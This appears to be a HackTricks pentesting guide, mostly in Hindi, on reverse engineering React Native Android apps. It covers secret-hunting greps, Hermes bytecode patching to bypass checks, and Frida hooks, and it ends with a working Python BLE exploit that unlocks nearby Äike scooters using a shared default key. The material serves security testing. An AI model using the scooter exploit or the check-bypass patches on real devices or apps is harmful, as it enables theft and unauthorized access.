React Native एप्लिकेशन विश्लेषण
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
यह सुनिश्चित करने के लिए कि एप्लिकेशन React Native framework पर बनाया गया है, इन चरणों का पालन करें:
-
APK फ़ाइल का नाम बदलकर उसे zip एक्सटेंशन दें और इसे एक नए फ़ोल्डर में निकालने के लिए यह कमांड चलाएँ
cp com.example.apk example-apk.zipऔरunzip -qq example-apk.zip -d ReactNative. -
नए बनाए गए ReactNative फ़ोल्डर में जाएँ और assets फ़ोल्डर खोजें। इस फ़ोल्डर के अंदर आपको फाइल
index.android.bundleमिलनी चाहिए, जो minified फ़ॉर्मैट में React JavaScript रखती है। -
JavaScript फ़ाइल खोजने के लिए कमांड
find . -print | grep -i ".bundle$"का उपयोग करें।
नोट: यदि आपको APK के बजाय Android App Bundle (.aab) दिया गया है, तो पहले एक universal APK जनरेट करें और फिर bundle को extract करें:
# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite
# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/
Javascript Code
यदि आप index.android.bundle की सामग्री जाँचते हैं तो आप एप्लिकेशन का JavaScript code पा सकते हैं (भले ही यह minified हो), आप इसे संवेदनशील जानकारी और कमजोरियों खोजने के लिए विश्लेषण कर सकते हैं।
चूँकि bundle में वास्तव में एप्लिकेशन का सारा JS code होता है, इसलिए इसे विभिन्न फाइलों में बाँटना संभव है (जो संभावित रूप से इसके reverse engineering को आसान बना सकता है) tool react-native-decompiler का उपयोग करके।
Webpack
JavaScript code का और विश्लेषण करने के लिए, आप फ़ाइल को https://spaceraccoon.github.io/webpack-exploder/ पर अपलोड कर सकते हैं या इन चरणों का पालन करें:
- उसी डायरेक्टरी में
index.htmlनाम की एक फ़ाइल बनाएं, जिसमें निम्नलिखित कोड हो:
<script src="./index.android.bundle"></script>
-
Google Chrome में
index.htmlफ़ाइल खोलें। -
Developer Toolbar खोलने के लिए Command+Option+J for OS X या Control+Shift+J for Windows दबाएँ।
-
Developer Toolbar में “Sources” पर क्लिक करें। आपको एक JavaScript फ़ाइल दिखाई देनी चाहिए जो फ़ोल्डरों और फाइलों में विभाजित है, जो मुख्य बंडल बनाती है।
यदि आपको index.android.bundle.map नाम की फ़ाइल मिलती है, तो आप स्रोत कोड को unminified फ़ॉर्मैट में विश्लेषण कर पाएँगे। Map फ़ाइलें source mapping रखती हैं, जो आपको minified पहचानकर्ताओं को मैप करने की अनुमति देती हैं।
To search for sensitive credentials and endpoints, follow these steps:
-
JavaScript कोड का विश्लेषण करने के लिए संवेदनशील कीवर्ड पहचानें। React Native applications अक्सर तीसरे-पक्ष सेवाओं का उपयोग करते हैं जैसे Firebase, AWS S3 service endpoints, private keys, आदि।
-
इस विशेष मामले में, एप्लिकेशन को Dialogflow service का उपयोग करते देखा गया था। उसके कॉन्फ़िगरेशन से संबंधित पैटर्न खोजें।
-
अच्छा रहा कि recon प्रक्रिया के दौरान JavaScript कोड में संवेदनशील hard-coded क्रेडेंशियल्स मिले।
Quick secrets/endpoint hunting in bundles
These simple greps often surface interesting indicators even in minified JS:
# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"
# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"
# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"
# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"
# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"
यदि आप Over-The-Air update frameworks का संदेह रखते हैं, तो निम्नलिखित की भी जांच करें:
- Microsoft App Center / CodePush deployment keys
- Expo EAS Updates configuration (
expo-updates,expo\.io, signing certs)
JS कोड बदलें और ऐप को पुनर्निर्माण करें
इस मामले में कोड बदलना आसान है। आपको बस ऐप का नाम बदलकर इसका extension .zip रखना और इसे extract करना होगा। फिर आप इस बंडल के अंदर के JS code को संशोधित करके ऐप का पुनर्निर्माण कर सकते हैं। यह परीक्षण के उद्देश्यों के लिए ऐप में inject code करने के लिए पर्याप्त होना चाहिए।
Hermes bytecode
यदि बंडल में Hermes bytecode होता है, तो आप ऐप के Javascript code तक पहुँच नहीं पाएंगे (यहाँ तक कि minified version भी नहीं)।
आप निम्नलिखित कमांड चलाकर यह जांच सकते हैं कि बंडल में Hermes bytecode मौजूद है या नहीं:
file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96
हालाँकि, आप टूल्स hbctool, hbctool के updated forks जो newer bytecode versions को support करते हैं, hasmer, hermes_rs (Rust library/APIs), या hermes-dec का उपयोग कर सकते हैं ताकि आप disassemble the bytecode और साथ ही इसे decompile it to some pseudo JS code भी कर सकें। उदाहरण के लिए:
# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm ./hasm_out ./index.android.bundle
# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out
# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler ./index.android.bundle /tmp/my_output_file.js
Tip: ओपन-सोर्स Hermes project कुछ specific Hermes releases में hbcdump जैसे developer tools भी प्रदान करता है। अगर आप उसी Hermes version को बनाते हैं जिसका इस्तेमाल bundle बनाने के लिए किया गया था, तो hbcdump functions, string tables, और bytecode को गहराई से analysis के लिए dump कर सकता है।
कोड बदलें और पुनर्निर्माण करें (Hermes)
आदर्श रूप से आप disassembled code को संशोधित कर सकते हैं (एक comparison बदलना, या कोई value या जो भी जरूरत हो) और फिर rebuild the bytecode करके ऐप को पुनर्निर्मित कर सकते हैं।
- मूल hbctool bundle को disassembling और परिवर्तनों के बाद उसे वापस build करने का समर्थन करता है, पर ऐतिहासिक रूप से यह केवल पुराने bytecode versions का समर्थन करता था। समुदाय-रक्षित forks नए Hermes versions (including mid-80s–96) का समर्थन बढ़ाते हैं और अक्सर आधुनिक RN apps को patch करने का सबसे व्यावहारिक विकल्प होते हैं।
- टूल hermes-dec rebuilding the bytecode का समर्थन नहीं करता (decompiler/disassembler only), पर यह logic को नेविगेट करने और strings को dump करने में बहुत सहायक है।
- टूल hasmer multiple Hermes versions के लिए disassembly और assembly दोनों का समर्थन करने का लक्ष्य रखता है; assembling अभी भी परिपक्व हो रहा है पर recent bytecode पर आज़माने लायक है।
A minimal workflow with hbctool-like assemblers:
# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm
# 2) Edit a guard or feature flag (example: force boolean true)
# In the relevant .hasm, replace a LoadConstUInt8 0 with 1
# or change a conditional jump target to bypass a check.
# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle
# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)
Note that Hermes bytecode format is versioned and the assembler must match the exact on-disk format. If you get format errors, switch to an updated fork/alternative or rebuild the matching Hermes tooling.
Dynamic Analysis
आप ऐप का डायनामिक विश्लेषण करने के लिए Frida का उपयोग करके React app का developer mode सक्षम कर सकते हैं और इसे जोड़ने के लिए react-native-debugger का उपयोग कर सकते हैं। हालांकि, इसके लिए आपको स्पष्ट रूप से ऐप का source code चाहिए। आप इस बारे में अधिक जानकारी https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/ में पा सकते हैं।
Dev Support को release में Frida के साथ सक्षम करना (caveats)
कुछ ऐप्स गलती से ऐसी classes ship करते हैं जो Dev Support को togglable बनाती हैं। यदि मौजूद हों, तो आप getUseDeveloperSupport() को true return करने के लिए मजबूर करने की कोशिश कर सकते हैं:
// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});
चेतावनी: सही तरीके से बनाए गए release builds में, DevSupportManagerImpl और संबंधित debug-only क्लासेस हटा दी जाती हैं और इस flag को पलटना ऐप को क्रैश कर सकता है या कोई असर नहीं होगा। जब यह काम करता है, तो आप सामान्यतः dev menu को दिखा सकते हैं और debuggers/inspectors को अटैच कर सकते हैं।
RN apps में नेटवर्क इंटरसेप्शन
React Native Android आम तौर पर OkHttp पर निर्भर करता है (via the Networking native module). नॉन‑rooted डिवाइस पर dynamic tests के दौरान ट्रैफिक को intercept/observe करने के लिए:
- system proxy + user CA को ट्रस्ट करें या अन्य generic Android TLS bypass तकनीकों का उपयोग करें।
- RN-specific tip: अगर ऐप गलती से release में Flipper को bundle करता है (debug tooling), तो Flipper Network plugin requests/responses को expose कर सकता है।
For generic Android interception and pinning bypass techniques refer to:
Make APK Accept CA Certificate
Frida के साथ Runtime GATT प्रोटोकॉल डिस्कवरी (Hermes-friendly)
जब Hermes bytecode JS का आसानी से static निरीक्षण ब्लॉक कर देता है, तो इसके बजाय Android BLE स्टैक को hook करें। android.bluetooth.BluetoothGatt और BluetoothGattCallback ऐप द्वारा भेजी/प्राप्त की जाने वाली हर चीज़ को expose करते हैं, जिससे आप JS source के बिना proprietary challenge-response और command frames को reverse कर सकते हैं।
Frida GATT लॉगर (UUID + hex/ASCII dumps)
```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (c) {
console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue()));
return this.writeCharacteristic(c);
};
G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’,‘[B’,‘int’).implementation = function (c,v,t) {
console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v));
return this.writeCharacteristic(c,v,t);
};
Cb.onConnectionStateChange.overload(‘android.bluetooth.BluetoothGatt’,‘int’,‘int’).implementation = function (g,s,n) {
console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n);
};
Cb.onCharacteristicRead.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’,‘int’).implementation = function (g,c,s) {
var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v));
return this.onCharacteristicRead(g,c,s);
};
Cb.onCharacteristicChanged.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (g,c) {
var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v));
return this.onCharacteristicChanged(g,c);
};
});
</details>
`java.security.MessageDigest` को हुक करें ताकि hash-based handshakes का फिंगरप्रिंट लिया जा सके और सटीक input concatenation कैप्चर किया जा सके:
<details>
<summary>Frida MessageDigest tracer (algorithm, input, output)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});
एक वास्तविक BLE फ्लो इस तरह पुनर्प्राप्त किया गया:
00002556-1212-efde-1523-785feabcd123से challenge पढ़ें।response = SHA1(challenge || key)की गणना करें, जहाँ key सभी डिवाइसेज़ पर provisioned एक 20-byte default 0xFF था।- response को
00002557-1212-efde-1523-785feabcd123में लिखें, फिर0000155f-1212-efde-1523-785feabcd123पर कमांड जारी करें।
एक बार authenticated हो जाने पर, कमांड ...155f... पर 10-byte फ़्रेम थे ([0]=0x00, [1]=registry 0xD4, [3]=cmd id, [7]=param)। उदाहरण: अनलॉक 00 D4 00 01 00 00 00 00 00 00, लॉक ...02..., ईको-मोड ऑन ...03...01..., बैटरी खोलें ...04...। Notifications 0000155e-1212-efde-1523-785feabcd123 पर आती थीं (2-byte registry + payload), और registry मानों को 00001564-1212-efde-1523-785feabcd123 में registry ID लिखकर फिर ...155f... से पढ़कर poll किया जा सकता था।
shared/default key के साथ challenge-response बेअसर हो जाता है। कोई भी निकटवर्ती attacker digest गणना करके विशेषाधिकार वाले commands भेज सकता है। एक न्यूनतम bleak PoC:
Python (bleak) BLE auth + unlock via default key
```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"def filt(d,_): return d.name and d.name in [“AIKE”,“AIKE_T”,“AIKE_11”] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + b’\xff’*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(‘00 d4 00 01 00 00 00 00 00 00’), response=False) await asyncio.sleep(0.5) asyncio.run(main())
</details>
## लोकप्रिय RN libraries में हालिया मुद्दे (किस बात पर ध्यान दें)
JS bundle या native libs में दिखने वाले third‑party modules का audit करते समय, ज्ञात vulns की जांच करें और `package.json`/`yarn.lock` में versions verify करें।
- react-native-mmkv (Android): versions prior to 2.11.0 ने optional encryption key को Android logs में logged किया था। अगर ADB/logcat उपलब्ध है तो secrets recover किए जा सकते हैं। सुनिश्चित करें कि версия >= 2.11.0 हो। संकेतक: `react-native-mmkv` का उपयोग, ऐसे log statements जो MMKV init with encryption का उल्लेख करें। CVE-2024-21668.
- react-native-document-picker: versions < 9.1.1 Android पर (file selection) path traversal के प्रति vulnerable थे, 9.1.1 में fixed। inputs और library version validate करें।
त्वरित जांच:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock
संदर्भ
- https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7
- https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications
- https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf
- CVE-2024-21668 - react-native-mmkv logs encryption key on Android (NVD)
- hbctool (and forks) for Hermes assemble/disassemble
- Äike BLE authentication bypass: default BLE private key allows unlocking any nearby scooter
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


